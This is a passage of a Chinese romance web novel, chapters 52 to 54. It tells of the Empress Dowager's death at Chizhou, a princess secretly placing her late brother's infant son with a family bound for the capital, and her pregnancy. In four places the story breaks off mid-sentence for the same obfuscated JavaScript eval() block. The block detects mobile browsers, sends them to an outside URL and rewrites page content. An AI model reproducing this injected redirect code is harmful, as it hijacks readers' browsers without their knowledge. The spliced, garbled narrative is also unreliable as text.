凌唯州说完神情已带了些冷色,萧沅莹看了无端的心里又是一阵烦躁难受,不悦道:“我又没说什么,你便这一堆道理,好没意思。” 萧沅莹说完起身,也不理他,径自出了殿门。 飞山宫的建造本就是为了避暑游乐,是以风景极好,且地势开阔。 萧沅莹出得门来,沿着湖泊走走停停,心中郁气方散去了些,又慢慢行至一处长满嫩草的陡坡。 这陡坡碧绿青翠,仿佛一块望不到边际的绒毯,柔软舒适,让人忍不住想坐在上面。 萧沅莹抱膝坐下,心想:何太后是杀母仇人,她若城破被俘,自己该高兴才是,只是为何心里一阵郁堵呢,也不外乎是因为池州是萧梁最后的一点念想,最后一丝希望。 其实这一切终将灰飞烟灭,好像谁也无法挽回。 萧沅莹叹口气,空空地望着远处出神,冷不防一个声音响起,“还敢坐在草地里,小心蛇!” “啊,蛇!哪里哪里?”萧沅莹吓得一跃而起,跳着脚后退几步,回头见凌唯州笑吟吟站在一旁,也不及细想,扑上去搂了他的脖子道:“你看见那东西往哪跑了?你快派几个人把这飞山宫搜检一遍,可别半夜里爬到殿里去。” 自两年前在平山的杂草丛里被蛇缠住了脚踝,萧沅莹听到“蛇”这个字便浑身发麻,此时听说可能有蛇,更吓得魂飞魄散。 凌唯州见萧沅莹搂了自己的脖子,仍害怕地看着脚下,干脆将她打横抱起,笑道:“放心吧,只要你不乱跑,不会再遇到蛇了。” 萧沅莹离了地面,暗松了口气,也渐渐回过味来,怒道:“你又捉弄我?” 凌唯州一笑,“这怎么能是捉弄呢,你看最后受累的反倒是我,你虽不重,我毕竟也批了半日的折子,胳膊正酸呢!” “活该!”萧沅莹气不过,心念一转,笑道:“今日你这累受定了,胳膊酸了,便背我回去。” 凌唯州一笑:“遵命,太子妃!” 萧沅莹从凌唯州怀里下来,又跳上他宽厚紧实的脊背,笑道:“走吧,太子殿下!” 初夏将走,盛夏即来,日头已有些烈,好在飞山宫的树多,树荫下并不热。 脚下的路有些崎岖不平,凌唯州却走得平稳。 萧沅莹的心渐渐静下来,将脸贴在凌唯州的肩上,闭上眼睛,一些不忍想起的画面又不由自主跳出来。 从铁勒到浦安城,再从浦安到京城。 雨血横流,万千尸骨。 被抢得只剩单衣的麻木呆滞的老人;正值花季却骤然凋零的少女;还未睁眼看这世间便殒命的幼儿。 萧沅莹眼角沁出一滴泪,低低说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102200|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我陪你去池州吧,去会会何太后。” 凌唯州脚下一顿,停了一会儿才道:“你想好了?” “想好了。”萧沅莹声音清晰,“方才之所以烦躁郁闷,实是因我明知应去,却担心留下骂名,被史官写成卖国求荣之人,但若能消弭干戈,拯救苍生,让百姓安居,又管后人如何说呢!你说是吧?” 凌唯州重新迈开步子,稳稳地背着她,忍不住笑起来,又道:“你小看史官了,他们可不是糊涂蛋,你放心,别的不敢说,何太后滥用权利,挥霍无度,留下骂名是肯定了。” 池州势态紧急,大战一触即发,萧沅莹和凌唯州第二日便出发了。 因天气渐热,白日行不了远路,夜里又不安全,便走了水路。 只是走得太匆忙,只带了几十名侍卫,仆从也只有数人,便发了公文让沿途官府负责护卫之职,一路上走得也算通畅。 江水阔大,一望无际,白亮亮的坦荡在夏日灿烂的阳光之下,耀人眼目。 时隔半年多再次急匆匆地赶往池州,萧沅莹虽没了那种恨不得插翅飞过去的焦灼,也是忐忑难安的。 好在有凌唯州陪着她,白天给她讲解沿途州县风景民俗,夜里下下棋说说话,互相依偎着入眠,倒也不算难捱。 两天一夜的行船,到了渡口,再骑马一日,终于到了池州城外,大军的安营扎寨之处。 征讨池州的兵马元帅张鹏霖高大威猛,治军严整。 萧沅莹和凌唯州到的时候,他已将和何太后见面的地点、护卫安排妥当,并保证道:“明日辰时三刻,在城下的洒珠亭见面,无论对方带多少人马,都必得去除兵器,搜检全身,他何太后也不能例外,请太子殿下放心,属下定能护得您和太子妃周全。” 凌唯州点头,让萧沅莹去安排好的营帐休息,方对张鹏霖道:“何太后此人贪恋荣华,哪肯轻易投降,明日做好准备,和谈不成,便趁机攻城,池州城内人心早已浮动,城破易如反掌,不过有几分怜悯之心罢了。” 张鹏霖应是,又道:“殿下放心,将士们早就憋了一口气,只要您一声令下,池州立等可破!” 这是萧沅莹第一次在营寨中过夜。 薄薄的帐篷脆如纸片,好像随时能闯进个人来。 外面不时传来巡夜兵士的脚步声,萧沅莹仔细辨别着,直到子夜时分,终于等到了凌唯州。 凌唯州进来,见萧沅莹和衣而卧,一双美目睁得溜圆,没有一点困意,不由笑道:“就知道你没睡,怎么,害怕了?” 萧沅莹侧身,以手支头,看着凌唯州解袍脱靴,笑道:“荒郊野外,衰草寒烟的,我怕突然闯进个狼来。” “你当狼是傻的,哪不能去,偏往这儿跑,岂不是自投罗网。”凌唯州掀开被子在萧沅莹身边躺下,笑道:“我看你不是担心这个,是担心明日见何太后吧?” “见她有什么好担心的。”萧沅莹垂下眼睛,“我从没将她放在眼里过。” 52. 第 52 章 萧沅莹说从未将何太后放在眼里,倒也并非虚言。 她小时候,父皇母妃俱在时,是金尊玉贵最受宠的公主,凡事以她为先,连萧承都要靠后,何太后就更不用搭理了。 即使后来此消彼长,境遇转换,萧沅莹的小命都差点结果在何太后手里,她也仍觉得何太后其人,目光短浅,愚不可及,不配多给眼神。 “吾妻外柔内刚,从容大气,有名将之风。”凌唯州笑道:“孤就知道太子妃不是那等懦弱可怜,畏首畏尾的。再说明日的事尽可不用担心,那何太后还有个什么,说丧家之犬也不为过,只不过为了池州的百姓奔波一趟。她若好言好语,也就罢了,敢多说一句不是,便让绿芜去撕她的嘴。” 萧沅莹扑哧一乐,笑道:“你当是泼妇打架么,还撕嘴,快睡吧!” 萧沅莹方才还了无睡意,凌唯州一回来,心里踏实了些,眼皮渐沉,不一会儿便进入了梦乡。 许是路途劳累,这一夜两人睡得极沉,只后半夜开始有些潮冷。 清早起来一看,才知是下起了濛濛细雨。 绿芜和朱草借着军营的灶台,做了一些早膳,凌唯州和萧沅莹简单吃了,方坐了马车前往洒珠亭。 这洒珠亭是池州城外一处小土坡上的建了个亭子,周围树木野草出自天然,因常有人在这里与亲朋好友送行道别,依依不舍,洒下泪珠而得名。 萧沅莹到时,正见何太后的马车被张鹏霖的手下搜检,远远地便听到几声呵斥咒骂。 萧沅莹也不理会,撑了一把油伞,独自进了亭子。 淅淅沥沥的雨丝将远处的城郭和稻田罩上一层烟雾,正好似池州和众人的归路,雾里看花,茫无头绪。 萧沅莹望了半晌,长舒一口气,又等了约摸一盏茶的功夫,才看到何太后在两个侍女的搀扶下缓缓走来。 这本是极为私下且潦草的一次会面,何太后却仍是穿得十分隆重。 头戴凤冠,淡黄色大袖衫,甚至还搭了云霞凤纹霞帔。 还真像那行将就木的老头子,出门还非要带上自己的美妾。 萧沅莹不无嘲讽地想着,也不起身,只冷冷地看着何太后进了亭子。 “没教养的丫头,见了嫡母还不行跪拜之礼?”何太后的脸色似是又灰暗了些,一双吊梢眼里满是怨恨与恶毒,“跟你那贱种的娘一个样!” “是么,你以为你有多高贵?”萧沅莹也不生气,说的话却句句戳在何太后的心窝子上,“不过是丹阳何氏的旁支末族罢了,我不信正经何家出来的姑娘会像你这样,言语粗俗,口出恶言。” “你!”何太后气得脸都抽搐起来,刚要说什么却被萧沅莹打断了。 “是你非要见我的,又何必兜圈子,你直说吧,你想要什么?” “哼!”何太后被说破心思,竟又拿起乔来,耷拉着眼皮沉默片刻方道:“你去跟那姓凌的说,从京城跟来的朝臣与宫人,还有将士,想回去的哀家可以放行,但他需把池州当做藩地送给哀家与皇帝,税赋不上缴,钱粮不上贡,官员自行任命,听明白没?” “既如此,那便没必要再说了。”萧沅莹心里冷笑,站起身来,“你乐意做春秋大梦,自去做,恕不奉陪。” “萧沅莹!”何太后气极,拍案而起,歇斯底里道:“你是萧氏公主,就眼睁睁地看着萧梁覆灭,做那背后推手,就不怕天打雷劈?” 萧沅莹心里一痛,猛然回头,这两年的委屈愤懑一股脑儿涌上来,声音都有些颤了。 “当个藩王,萧梁就不是覆亡了?自己贪恋荣华,又逞什么英勇?我千里奔波,四处搬救兵时你在哪?皇兄病危时,你又在哪?我死后敢堂堂正正地去见父皇,你敢吗?” 萧沅莹的话不多,声音也不如何大,却再次句句戳在何太后的痛处,尤其是最后的问话,直接撕开了她的隐忧。 她这一辈子,最渴盼得到的,便是先帝的爱意,却生生成了被嫌弃被无视的那一个。自己在他死后赐死南妃,折磨他最喜爱的女儿,待有一日到了地下,他还肯见自己吗? “呵呵哈哈!”何太后先是如斗败的公鸡般,垂头丧气,没一会儿却又狂笑起来,状若癫狂,慢慢起身,朝萧沅莹走了几步。 “哀家落到这般田地,全是拜你母女二人所赐!” 萧沅莹早就嗅到危险的气息,见何太后眼里忽然迸出凶狠,向自己扑来,忙后退一步,堪堪躲过了一双干枯的手臂。 何太后毕竟年老体衰,用尽了全力,却扑了个空,扑通一声,直摔了个脸朝地,倒栽葱,之后便趴在地上,一动不动了。 事起突然,两个侍女来不及搀扶,惊呼一声,抢上前来,将何太后翻转了扶起,却见人已是双目紧闭,气息微弱了。 萧沅莹吓了一跳,下意识又后退几步,随即想到需寻个郎中来,忙急步出了亭子,正碰上迎面而来的凌唯州,遂着急道:“何太后她......” “我都看到了,你不必管了,先回营帐歇歇。”凌唯州抓了她的手腕走向马车,扶她上去,又嘱咐道:“不要乱走,我处置完便回。” 萧沅莹欲待说什么,车帘却已放下,车夫吆喝一声,车轮辚辚转动,很快将洒珠亭甩在身后。 毛毛细雨终于停了,太阳渐渐探出头来,薄薄的日光洒满大地。 萧沅莹回到营帐时也不过午时,因记挂着事态走向,吃也吃不下,睡也睡不着,直捱到夜里亥时,凌唯州仍未回来,只派人送来一张便笺给她。 展开一看却是:何太后头破出血,不治而亡。小皇帝已降,封安义侯,留池州,由池州太守教养。其余萧氏族人和朝臣回京后另有封赏安置。 没想到这样快,彻底结束了。 便笺滑落在地。 萧沅莹悬着的心些微落下,却总觉未落到实处。 空落落,冷寂寂。 游魂一样躺到床上,一夜未睡踏实,闭上眼睛便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165995|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有无数人在晃,睁开了又只看到微弱的烛火。 好容易捱到了天亮,萧沅莹忙忙地起身洗漱,带了绿芜和两个侍卫,骑马直奔池州太守府。 太守府内已是一片狼藉,门口连个守卫也无。 宫人丫鬟,朝臣侍卫,来回穿梭,都在忙忙地收拾细软,整理行装,有的要返京城,有的要回家乡。 萧沅莹是来找李婕妤的。 去年她被何太后囚禁,多亏了李婕妤偷偷送来食物和匕首。 这事她一直放在心里,立誓报答。 只这太守府的人个个没头苍蝇一般,一连走了几个院子,逢人便问,都说不知道李婕妤在哪。 萧沅莹大失所望,心里十分难受,正要去找凌唯州帮忙时,忽觉衣襟被拉了一下,低头看时,却是一个七、八岁的小丫头,黑瘦黑瘦的,怯生生道:“夫人,我知道李姐姐在哪,我带你去,你别告诉别人。” “好,我不告诉别人。”萧沅莹大喜,取下手上翡翠戒指道:“你快带我去,找到了人,这个就是你的。” 萧沅莹随着小丫头又穿过几层院子,绕过一个小花园,来到一处仆人住的厢房。 那小丫头指着最里面一间道:“李姐姐就在这儿,她给了我娘好多东西,我娘才让她住了。” “好,多谢你,你自去玩吧!”萧沅莹将戒指给了小丫头,转头望向紧闭的房门,心里是止不住的疑惑。 李婕妤为何要躲在这里,连宫女们都不知道她的下落。 绿芜见萧沅莹只是发呆,忍不住问道:“可要奴婢去敲门?” 萧沅莹回神,刚说了句“去吧”,那房里却突然传来几声幼儿的啼哭。 哇哇呜呜的,时断时续,像小猫叫,又像蚊子哼。 “哪里来的小娃娃,莫不是我听错了?” 萧沅莹几步迈上台阶,推门而入,四下一望,不由呆住。 屋内狭小零乱,还有些难以言说的气味。 一张旧方桌和几把破椅子上,晾满了一条一条的布片。 正对着门的床榻上,李婕妤面色蜡黄,闭目而睡,旁边躺着一个几个月大的婴儿,挥舞着小手,哭得脸都红了。 萧沅莹上前以手背触了触李婕妤的额头,只觉十分烫手,忙对绿芜道:“快让外面那两个侍卫去寻个郎中来。” “是!” 李婕妤昏睡着,萧沅莹和绿芜都不会哄孩子,也不知这孩子为何哭个不停,只得请教府里的仆妇,却原来是饿了。 但府里都乱着,一时也找不到正哺乳的妇人,只得先熬了些米汤一点一点喂了,直把两个从没照看过孩子的人累得满头大汗。 接着请的郎中到了,号脉,诊病,说是久劳伤气,情志不舒,开了方子,抓药、熬药,也一点一点喂了,直折腾到日上中天,才算是有了些条理,李婕妤也总算清醒过来,见了萧沅莹,激动不已,哽咽难言,平复了好一会儿,才将前因后果说了出来。 53. 第 53 章 狭小的房间内,绿芜忙着擦洗桌面、收拾衣物。 萧沅莹则坐在床边,听李婕妤讲她和萧承的往事。 “我是十八岁那年入的宫,正是情窦初开的年纪,于惴惴不安中见到皇上,方知他是那样温雅内敛的一个人,比我想像的还要俊逸,仿佛画中人一般。” 许是忆起了他们的初见,李婕妤唇角弯了弯。 “只是皇上总是一副郁郁寡欢的样子,对情爱之事也十分冷淡。太后娘娘多次要给他选秀女,充实后宫,都被他拒绝了。我知道皇上是因为国事烦忧,他想重振社稷,削弱藩镇,但没有人理解他,帮他,他就像个孤独的侠士。许是因为我安静不多话吧,皇上常翻我的牌子,但极少侍寝,只是陪着说说话,或是弹琴品茶。来到池州后,皇上更加烦忧苦闷,开始借酒消愁,有一回半夜皇上叫我去.......” 李婕妤苍白的脸上泛出一丝红晕。 “过后我也没在意,毕竟以前也不是没有过,但从未曾怀上。别的嫔妃也一样。谁承想两个月后,我突然害口了,小日子也没再来过,这才意识到是怀孕了。” “你没告诉皇兄?”萧沅莹内心震惊激荡,连忙追问。 李婕妤眼里又涌满了泪,探过身子握了萧沅莹的手,泣道:“当时形势急转直下,反叛的州县一处接着一处,朝臣们都麻木了,皇上受不了打击,病得床都下不来,太后已经开始在宗室中选太子了。我当时想的是,我若说了,万一皇上走了,太后指定让我生下孩子当傀儡小皇帝,而大梁气数已尽,哪天叛军攻下池州,我这孩子焉有命在?所以皇上驾崩时,我趁乱跑了,躲在这里,给了那些仆妇好多银钱,勉强撑着生下了孩子,果然是个儿子。” 原来是这样。 萧沅莹不得不佩服李婕妤的缜密心思和审慎小心,更难得的是不被虚幻的荣华名利所迷惑,真是个有见识有大智的人。 上天怜悯,祖宗保佑。 皇兄竟然留下了一丝血脉在世。 萧沅莹小心翼翼地抱起那用粗麻布包裹的幼儿。 方才张着小嘴哭得脸通红,哪能看出来像谁,此时安静地睡着,眉眼确是与萧承一模一样。 “嫂嫂,以后你就是我亲嫂嫂,你受苦了。”惊喜来得太突然,萧沅莹有些乱,一时不知该说些什么,她把孩子放回床上,生怕自己手抖摔了,平复了一下心情方道:“何太后死了,小皇帝被封了安义侯,性命无忧,嫔妃们也都遣散了,大梁是过去了,你有何打算,我能帮你什么?” 李婕妤一怔,转头望了望熟睡中的孩子,抹了把眼泪,撑着虚弱的身体下床,不顾萧沅莹的阻拦,执意跪下道:“做母亲的没有不心疼自己孩子的,尤其是我,吃了多少罪,受了多少苦,只有老天爷知道。但我不得不抛下他,我身份低微,不可能一辈子躲在这儿,他的身世迟早会传出去,他是皇上唯一的血脉,新帝不会放过他,即使不杀他,也会关他一辈子,若是那样,又何必来这世间。又或者他会遇到居心叵测的人,打着他的名号复国,那也是死路一条。” 李婕妤一口气说完,又早已是泪流满面。 “你先起来,有什么要我做的,直说便是。”萧沅莹将李婕妤扶回床上坐下,从沐盆里拧了块干净的巾帕递给她,又道:“你身体还虚弱,莫要再折腾自己了。” 李婕妤点头,用巾帕捂了捂肿胀的双眼,擦干泪水,长舒了口气,决然道:“老话说最危险的地方就是最安全的地方,我想让您把这孩子带回京城,寻个好人家抚养,我不求他大富大贵,扬名立万,只求他能做个普通百姓,平安度过一生。而我,愿意留在池州,从此长伴青灯古佛,这样一来,就不会有人知道他的身世了。” “这倒也是个办法,只是怕……”萧沅莹想说怕被凌唯州看出端倪,又怕李婕妤忧心,便改了口道:“只是你也不用非要出家吧,或归娘家,或寻个良人再嫁,人生还长,为自己多想想,好吗?” “嗯。”李婕妤含泪点头,“公主不用担心我,皇上从前赏了我不少金银珠宝,我都带出来了,只是不敢露富,我再休养几日,便去寻父母。” “好,如此我便放心了。”萧沅莹站起身,又直直跪下,向李婕妤郑重磕了下去。 “我代兄长及萧氏祖先,谢嫂嫂大恩!” 萧沅莹命绿芜支开门外的两个侍卫,抱着孩子闪出房门,匆匆往府外走去。 太守府外的长街上,也是一片熙攘,全是背着包裹,挑着行李,准备回京城的人,有男有女,有老有少。有低等官员,也有宫人侍卫。 高品阶的官员还有勋贵皇亲们都驾了自己家的马车上路了。 剩下的都是没钱没势的,想找一辆马车或买一头骡子,却一个难求,牙行门前排了老长的队,一眼望不到头。 萧沅莹望着这些人,想从里面寻出合适的人家,却不知怎么开口,亦或说是实在不放心。 此时已近申时,日头正毒,晒得人又热又渴。 萧沅莹寻了个背阴处,又站了一会儿,仍是毫无头绪,怀里的孩子却又突然哭了起来。 萧沅莹心里更是着急,她哪会哄孩子,且这孩子不光是哭,小胳膊小腿还使劲挥舞抖动着,抱都快要抱不住,不由更是心慌。 正不知所措时,忽听一道温和的女声说道:“你这么抱不行,孩子不舒服,你也累,你该这样抱。” 萧沅莹抬头,见是一位三十多岁的妇人,中等个子,面庞横宽,一笑两个酒窝,隐隐透着年轻时的风韵。 “你胳膊肘托着他的头和脖子,这个手托着屁股和脊背,对,就是这样。” 妇人帮萧沅莹调整了姿势,果然轻松了些许。 “多谢,这是我哥嫂的孩子,我还不太会抱。”萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186996|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沅莹笑着道谢。 “一看你便是没生养过的,这抱孩子呀,可不是个轻松的活儿。” 这妇人看着是个行事干净爽利的,萧沅莹便试探着问道:“您也是要回京城的么?” “是呢,我丈夫是豫康长公主府上的主簿,随豫康长公主逃难到这里,这不池州城破,公主成了平民,我们也无事可做了,便想回京城家去,却买不到马匹。” 说起回京,妇人有些愁眉苦脸起来。 “若是只有我和丈夫两人也就罢了,走也要走回去,只是拖着两个孩子,便不能遭罪了。” 萧沅莹看向妇人身后不远处,一个高瘦儒雅的男子,怀里抱着个女孩,手里还牵着个男孩,都还不大的年纪。 “唉,我也发愁呢。”萧沅莹故意叹道:“我哥哥嫂嫂亡故,留下这个嗷嗷待哺的幼儿,我也不会照顾,况我还要回太子身边伺候,实在无暇分身,若有好人家帮我带他回京,抚养成人,我定会十倍百倍报答,只可惜遇不上好人家。” “娘子是太子身边的人?”妇人眼中闪过一丝惊讶,回头望了望丈夫,犹豫道:“姑娘若是有难处,我们倒可以帮一帮,我生养过两个孩子了,最会照顾了,只是没有回京的脚力。” “这倒不难,我可先赠你们两匹马,你们骑马出城,有的是马车卖,只是我不知你们的底细……” 萧沅莹故意说出自己是太子身边的人,又许以重金,便不担心对方有歹意了。 “唉呀,我们不是坏人。”妇人果然生怕错过了这机会,连忙回身将丈夫拽了过来,“他叫李经,就出生在京城明昌胡同,我姓刘,这是我们的两个孩子,一个五岁,一个一岁多,娘子是太子身边的人,我们可不敢欺瞒。娘子放心把孩子交给我,说句不该说的,我这女娃还吃着奶呢,正好可喂养这小娃,我们不求回报,只要娘子将来能带挈一下两个孩子,便感激不尽了。” 萧沅莹看了一眼怀里的孩子,那娃娃仿佛知道要被送人一般,也不哭了,睁着溜圆的眼睛望着自己,不由心如刀绞,却也没有别的办法。 “他叫李霄,小名宁宁,不求富贵显达,只求平安宁遂。我去把马牵来,你们先走,我到京后即去明昌胡同找你们。” 萧沅莹将自己和绿芜骑的马送给了李经夫妇,望着他们一行人走远,正要回营,猛听身后一道声音响起:“怎么来了这里,乱跑什么?” 萧沅莹一惊,回头一看,正是凌唯州来了,本是一身燥热,突然见到他,心底竟也升起一丝凉意。 “哪里乱跑,我来看一个故人,这就要回了。”萧沅莹想含混过去,连忙编了个谎话。 “看谁,昨日怎么不说?”凌唯州许是累了一夜,脸色不太好,心情么,好像更糟。 “昨日你没回啊,我怎么说。”萧沅莹走近了些道:“事情都办妥了么,你怎么不高兴?” 54. 第 54 章 昨日何太后摔倒不治,和谈的最后阻力也就没了。 凌唯州接受了小皇帝的请降书,带兵入城,召见朝臣,忙到半夜,便在署衙胡乱歇了。 第二日同新任的池州太守及一众官员将事务理出了些眉目,正要回营时,新任太守极力邀请凌唯州去本地最大的一处园子居住。 凌唯州本不想麻烦,因池州也无甚事了,没两日便可返京。 但想到可以让萧沅莹住得舒服些,便答应了。 又怕今日回京的人太多,路上拥挤,亲自回营去接,不想竟扑了个空,只得返回,又寻了一个多时辰,才找到人,心里不窝火才怪。 “跟着你的人呢?”凌唯州挑开萧沅莹额前被汗水打湿的发丝,嫌弃道:“怎么弄成这个样子。” “我支使他们去买些小物件。”萧沅莹忙道:“我实在热得受不了了,咱们先回吧?” 凌唯州的眼神闪了闪,知道萧沅莹有事瞒着,却并未追问,只道:“不用回营了,去潭园住一晚,你的衣物已经送过去,今晚养足精神,明日回京。” 潭园是池州富商合力修的一座花园宅邸,虽不甚大,却也是小桥流水,舒适风雅,常用来招待州府官员与贵客。 萧沅莹到潭园的时候,已热得支撑不住,难受到极点,心慌气短,手脚发麻。 周围虽暑气蒸腾,她却冷汗直冒,额间脸上全是,话都要说不出来。 幸好已到谭园大门处,凌唯州忙将她抱入内室,刚要命人请郎中,却被萧沅莹止住了。 “不用,我要沐浴。” 凌唯州无奈,命人备水,帮着除去黏湿的衣衫,抱她浸入温热的水中,用皂芙搓洗长发,再用葛布擦了,方抱她回屋。 萧沅莹浑身清爽,觉得好受了些,翻了个身,没一会儿便睡着了。 凌唯州摇头,脱下半湿的外袍,命人将今日跟着萧沅莹的两个侍卫叫来。 少时两个侍卫到了,凌唯州因未穿外衫,便隔着屏风问道:“今日太子妃都去了哪里,见了什么人?” 侍卫答道:“太子妃出营后直奔太守府,并未去别处,去太守府似是为了找人,后来进了一间下人住的屋子,不知见的什么人。” 凌唯州皱眉,令两人退下,刚想叫绿芜进来,又停住了,转身进了净室。 萧沅莹醒来时,不适之感消失的无影无踪。 天色已暗,屋中轩窗四起,微风拂过,吹得烛火明明灭灭。 凌唯州正与她对面而卧,安静得睡着。 白日里还那样冷峻恼怒,此时眉间却只余了贵气与温润。 萧沅莹悄悄伸手,想抚一下他的眉眼,将将触到之时,手却猛地一下被攥住。 凌唯州闭眼道:“做什么,想偷袭我?” 萧沅莹一笑,想把手抽回来,凌唯州却不放,反而放到嘴边不轻不重地咬了一下。 萧沅莹道:“你咬吧,我手上有灰。” 凌唯州睁眼笑道:“给你个榧子吃,方才谁给你洗得澡,这么快忘了?” 萧沅莹一怔,脸瞬间红透,立时翻了身,没话找话道:“这屋里怎的这样凉快?” “这屋子盖在水边,外面又下着雨,自然凉快,你是睡傻了。” 萧沅莹这才注意到屋外若有若无的雨声,想是下得不大,虽开着窗户,却听不真切,而每个窗户上都挂了驱蚊的香囊。 “这屋子好,夏天连冰都省了。”萧沅莹又转过身来,“飞山宫好似也有这样一处水榭,回去了我就搬过去。” “随你。”凌唯州右手臂从萧沅莹的颈下穿过,稍一用力,娇软生香的女郎便滑到了他的怀里。 “以后想做什么便做,不必委屈自己。” 言罢在她额间一吻,又顺着鼻尖滑到如蜜般的唇上,略微用力,只觉甘甜非常。 萧沅莹温顺地承受着,心里却想的是李经夫妇带着小侄儿走到哪儿了,会不会哭得厉害,一路上能否顺利。 正想得出神,忽觉腰间一痛,被掐了一下,不由“嘶”的一声,睁开眼睛,正对上凌唯州不满的眼神。 “做什么魂不守舍的,你今日去见旧情郎了?” 萧沅莹忍不住扑哧一乐,却又立时收了笑容。 “我只是突然想起了我皇兄,你说他会不会已经转世投胎,变成个小婴儿了?他那么好一个人,真希望他这一世能安宁顺遂,逍遥自在,别再背负那些重担了。” “也许吧,说不定你还会遇见他,但那肯定是相见不相识了。”凌唯州许是累了,随口答了一句,闭上了眼睛。 萧沅莹却因这句话再也睡不着,翻来覆去到了深夜。 萧沅莹和凌唯州仍是坐船回京。 也不知是中暑未愈,还是水土不服,萧沅莹一路上不是头晕恶心,便是疲乏嗜睡,一多半的时间都在船舱里躺着。 昏昏沉沉,食不下咽。 到京城也只几天的功夫,人竟瘦了一圈,走路都是飘的。 及至下了船,凌唯州将她抱上马车,回到飞山宫时,御医已等在那里有一会儿了。 匆匆进屋,磕了头,覆上丝帕诊脉,也只一会儿的功夫,那太医便收回手,满面笑容跪下,磕头道:“恭喜太子殿下,太子妃娘娘这是有喜了!” “好,好。”凌唯州面色不变,连说了两个“好”字,便没了下文。 弄得正准备下跪道喜的齐嬷嬷绿芜等人都愣住了,跪也不是,不跪也不是。 连尚自昏沉的萧沅莹都忍不住看了他一眼。 那太医跪着,见屋内众人毫无动静,心中纳闷,只得又道:“太子妃身体康健,有些恶心头晕是正常,少吃辛辣冷硬之物,再过月余,症状便能减轻了……呃,微臣告退。” 太医起身慢慢退了出去,凌唯州方回了神,对齐嬷嬷道:“给太医赏,飞山宫的人都有赏。” 齐嬷嬷暗笑,躬身应是带人退了出去。 这下屋里只剩了小夫妻二人,萧沅莹便忍不住笑起来,先是捂嘴而笑,继而笑不可遏,就差以手捶床了。 凌唯州无奈道:“你笑什么,小心把孩子笑出来。” “我笑你那呆样子,就像是听到你自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221325|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀孕了似的。”萧沅莹说完又笑个不住,竟觉得头晕之症减轻了不少。 “胡说。”凌唯州面上过不去,强辩道:“我早就猜出你是有孕了,否则在船上时看你那么难受,早停船寻郎中了,又有什么可惊讶的。” “我自己都没往这上面想,你怎会猜到,可见是扯谎。”萧沅莹不信。 “那是你呆,月信迟了都不当会事。” 凌唯州走近了在床边坐下,握了萧沅莹的手道:“怎么样,怕不怕?” 萧沅莹没想到凌唯州如此问,不由一怔,犹豫道:“怕,就可以不生了么?” “……还是生吧,我让太医院派个医术精湛的太医来,就守在飞山宫,随叫随到,齐嬷嬷也是经验老道的,再不然你还是回东宫吧,东宫没个女主人算怎么回事,也省得我来回奔波。” “离生产还早呢,不是说十月怀胎。”萧沅莹想到自己的小侄儿,若回了东宫,进出定然颇多限制,便不能时常探望,“还是再等等。” “行吧,随你。”凌唯州将萧沅莹的手放在嘴边细细的亲吻,低低道:“阿沅,辛苦你了,我很高兴。” 萧沅莹休养了几日,趁着八月初一大朝会,凌唯州事务繁忙这日,只带了绿芜一人,悄悄去明昌胡同李经夫妇处,看望了小侄儿阿宁,见阿宁不过才十几日未见,又胖了些,干干净净,手舞足蹈的,心下稍安,又赠送了刘氏许多首饰银两,约定过几日再来,方一步三回头地离开。 进入八月,暑热渐退,天高云淡。 新晋的良娣贺兰敏和宋玉芝,嫁入东宫也满两个月了。 这两个月中,住的是金碧辉煌的宫殿,穿的是绫罗绸缎,吃的是山珍海味。 至于其他的,很简单,只四个字:无事可做。 太子妃不在,太子也只在前殿处理政务,几乎从不来后殿。 偌大一个东宫,冷清到极致。 贺兰敏还代管着东宫的杂务,可主子们不在,事务也就没多少,每日不到半个时辰便处理完了,剩下的便是长日漫漫,夜深人静。 要说和以前的境况相比,那自然是好了十倍百倍不止,但既得陇,复望属,乃是人之本性。 宋玉芝姑且无甚波澜,贺兰敏则实在有些坐不住了。 其实这也难怪她动了心思,凌唯州身份摆在那儿,又样貌英俊,文武双全,正值青春的女子很难不倾慕。 